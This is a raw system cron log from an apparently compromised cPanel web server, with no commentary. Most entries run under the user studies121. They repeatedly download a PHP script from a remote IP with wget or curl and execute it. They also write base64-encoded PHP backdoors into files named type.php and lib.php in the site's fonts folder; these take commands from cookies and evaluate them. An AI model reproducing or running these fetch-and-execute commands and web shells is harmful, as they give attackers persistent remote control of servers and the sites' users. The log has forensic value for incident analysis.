Sep  9 19:54:01 ip-184-168-122-23 CROND[5953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:54:01 ip-184-168-122-23 CROND[5952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:54:01 ip-184-168-122-23 CROND[5954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:55:01 ip-184-168-122-23 CROND[6043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:55:01 ip-184-168-122-23 CROND[6045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:55:01 ip-184-168-122-23 CROND[6049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:55:01 ip-184-168-122-23 CROND[6047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:55:01 ip-184-168-122-23 CROND[6050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:55:01 ip-184-168-122-23 CROND[6048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:56:01 ip-184-168-122-23 CROND[6154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:56:01 ip-184-168-122-23 CROND[6155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:56:01 ip-184-168-122-23 CROND[6157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:56:01 ip-184-168-122-23 CROND[6159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:56:01 ip-184-168-122-23 CROND[6158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:57:01 ip-184-168-122-23 CROND[6249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:57:01 ip-184-168-122-23 CROND[6251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:57:01 ip-184-168-122-23 CROND[6254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:57:01 ip-184-168-122-23 CROND[6252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:58:01 ip-184-168-122-23 CROND[6416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:58:01 ip-184-168-122-23 CROND[6418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:58:01 ip-184-168-122-23 CROND[6420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:58:01 ip-184-168-122-23 CROND[6421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:58:01 ip-184-168-122-23 CROND[6422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:59:01 ip-184-168-122-23 CROND[6505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:59:01 ip-184-168-122-23 CROND[6509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:59:01 ip-184-168-122-23 CROND[6507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:59:01 ip-184-168-122-23 CROND[6508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:00:01 ip-184-168-122-23 CROND[6591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:00:01 ip-184-168-122-23 CROND[6596]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:00:01 ip-184-168-122-23 CROND[6597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:01:01 ip-184-168-122-23 CROND[6706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:01:01 ip-184-168-122-23 CROND[6708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:01:01 ip-184-168-122-23 CROND[6709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:01:01 ip-184-168-122-23 CROND[6707]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:01:01 ip-184-168-122-23 CROND[6710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:01:01 ip-184-168-122-23 CROND[6715]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6715]: starting 0anacron
Sep  9 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6729]: finished 0anacron
Sep  9 20:02:02 ip-184-168-122-23 CROND[6814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:02:02 ip-184-168-122-23 CROND[6816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:02:02 ip-184-168-122-23 CROND[6818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:02:02 ip-184-168-122-23 CROND[6817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:02:02 ip-184-168-122-23 CROND[6819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:03:01 ip-184-168-122-23 CROND[6905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:03:01 ip-184-168-122-23 CROND[6906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:03:01 ip-184-168-122-23 CROND[6907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:03:01 ip-184-168-122-23 CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:04:01 ip-184-168-122-23 CROND[6987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:04:01 ip-184-168-122-23 CROND[6989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:04:02 ip-184-168-122-23 CROND[6992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:04:02 ip-184-168-122-23 CROND[6990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:04:02 ip-184-168-122-23 CROND[6991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:05:01 ip-184-168-122-23 CROND[7083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:05:01 ip-184-168-122-23 CROND[7084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:05:01 ip-184-168-122-23 CROND[7090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:05:01 ip-184-168-122-23 CROND[7087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:05:01 ip-184-168-122-23 CROND[7088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:05:01 ip-184-168-122-23 CROND[7093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:05:01 ip-184-168-122-23 CROND[7092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:06:01 ip-184-168-122-23 CROND[7259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:06:01 ip-184-168-122-23 CROND[7261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
